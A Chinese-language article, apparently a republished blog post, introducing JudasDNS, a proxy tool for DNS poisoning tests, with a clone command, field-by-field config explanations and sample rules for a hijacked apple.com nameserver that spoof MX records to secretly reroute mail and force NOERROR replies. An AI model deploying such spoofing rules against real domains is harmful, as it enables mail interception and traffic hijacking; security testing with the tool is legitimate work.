您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關JudasDNS是什么工具,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
JudasDNS是一款針對DNS域名服務器的安全測試工具,在JudasDNS的幫助下,廣大安全研究人員可以方便地對目標域名服務器進行DNS投毒攻擊測試,以確保域名服務器的安全性。
JudasDNS可以幫助研究人員構建和部署DNS代理服務器,并代替已接管的域名服務器以執行目標攻擊。JudasDNS可以代理某個域名的合法域名服務器的所有DNS查詢請求,JudasDNS的規則配置允許我們根據源IP或DNS查詢類型來修改DNS響應,這也就意味著攻擊者可以配置一臺惡意域名服務器來實現:有選擇地重新路由來自指定源IP地址范圍(通過修改的MX記錄)的入站電子郵件,設置數據長度非常長的TTL,或執行DNS緩存投毒等攻擊活動。
運行下列命令直接將項目源碼克隆至本地:
git clone https://github.com/mandatoryprogrammer/JudasDNS.git
下面給出的是JudasDNS針對測試樣例場景中的配置樣本代碼,在這個場景中,我們已經拿到了或接管了一臺蘋果的權威域名服務器(apple.com):
{ "version": "1.0.0", "port": 2248, "dns_query_timeout": 10000, "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ], "rules": [ { "name": "Secretly redirect all emails coming from 127.0.0.1!", "query_type_matches": [ "MX" ], "ip_range_matches": [ "127.0.0.1/32" ], "modifications": [ { "answer": [ { "name": "apple.com", "type": 15, "class": 1, "ttl": 10, "priority": 10, "exchange": "hacktheplace.localhost" } ] } ] }, { "name": "Make all responses NOERROR even if they've failed.", "query_type_matches": [ "*" ], "modifications": [ { "header": { "rcode": 0 } } ] } ]}
1、version:配置文件格式版本(當前為1.0.0);
2、port:Judas的運行端口;
3、dns_query_timeout:在放棄來自上游目標名稱服務器的答復之前等待多長時間(毫秒);
4、target_nameservers:目標域名的合法域名服務器,所有的DNS查詢都將從這里由Judas代表所有的請求客戶端來發出;
5、rules:對DNS響應進行修改的規則列表;
6、name:給定規則的名稱;
7、query_type_matches:待匹配的查詢類型列表,例如CNAME、A記錄等,還可以使用*通配符來匹配任意類型的查詢類型;
8、ip_range_matches:待匹配的IP范圍列表,用于選擇性地對特定范圍IP的響應進行欺騙攻擊;
9、modifications:查看README的“Modifications”數據段;
JudasDNS的規則提供了modifications規范,這個規范可以幫助我們識別DNS響應在發送回客戶端之前,對其進行了哪些修改。在修改響應內容之前,我們還需要查看DNS節點文檔來了解DNS響應結構。
下面給出的是一個DNS響應格式樣本:
{ header: { id: 25373, qr: 1, opcode: 0, aa: 1, tc: 0, rd: 1, ra: 0, res1: 0, res2: 0, res3: 0, rcode: 5 }, question: [ { name: 'apple.com', type: 2, class: 1 } ], answer: [ { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver2.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver4.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver3.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver5.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'nserver6.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'adns2.apple.com' }, { name: 'apple.com', type: 2, class: 1, ttl: 86400, data: 'adns1.apple.com' } ], authority: [], additional: [], edns_options: [], payload: undefined, address: undefined,...trimmed for brevity...
注意:如需了解更多關于DNS響應數據結構的內容,可以查看【這篇文檔】。
編寫一個modifications規則非常簡單,下面給出的是一套樣本規則:
{ "name": "Make all responses NOERROR even if they've failed.", "query_type_matches": [ "*" ], "modifications": [ { "header": { "rcode": 0 } } ]}
上述規則可以匹配任意類型的查詢請求,并且會將DNS響應中的header.rcode值設置為0.
下面給出的是另一個樣本規則以供大家參考:
{ "name": "Secretly redirect all emails coming from 127.0.0.1!", "query_type_matches": [ "MX" ], "ip_range_matches": [ "127.0.0.1/32" ], "modifications": [ { "answer": [ { "name": "apple.com", "type": 15, "class": 1, "ttl": 10, "priority": 10, "exchange": "hacktheplace.localhost" } ] } ]}
下面的規則可以匹配一個客戶端的IP地址:
{ "name": "Make all responses requested from localhost (127.0.0.1) NOERROR.", "ip_range_matches": [ "127.0.0.1/32" ], "modifications": [ { "header": { "rcode": 0 } } ]}
下面的規則可以匹配MX和CNAME這兩個查詢類型,并應用相應的modification規則:
{ "name": "Make all responses NOERROR even if they've failed.", "query_type_matches": [ "MX", "CNAME" ], "modifications": [ { "header": { "rcode": 0 } } ]}
下面的規則可以匹配NXDOMAIN的響應碼,并應用相應的modification規則:
{ "name": "Make all responses requested from localhost (127.0.0.1) NOERROR.", "response_code_matches": [ "NXDOMAIN" ], "modifications": [ { "header": { "rcode": 0 } } ]}
關于“JudasDNS是什么工具”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。